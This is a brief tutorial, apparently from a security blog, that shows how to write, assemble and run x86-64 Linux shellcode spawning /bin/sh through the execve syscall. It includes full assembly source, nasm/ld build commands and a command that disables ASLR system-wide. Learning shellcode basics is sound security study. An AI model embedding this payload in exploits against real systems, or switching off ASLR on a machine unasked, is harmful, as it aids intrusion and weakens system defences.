This method was tested on Ubuntu 20.04 LTS 64-bit.
Remember to disable ASLR temporarily echo 0 > /proc/sys/kernel/randomize_va_space
Make a file in assembly nano shellcode.asm
and write the following lines (or just copy/paste them)
section .text global _start _start: xor rdx, rdx push rdx mov rax, 0x68732f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp xor rax, rax mov al, 0x3b syscall
Notice that the value written into the RAX register actually is /bin//sh backwards!
We can speed this up by taking a few shortcuts by using the linker command to build us a executable. Finally execute our shell.
nasm -f elf64 shellcode.asm ld -m elf_x86_64 -s -o shellcode shellcode.o chmod +x shellcode ./shellcode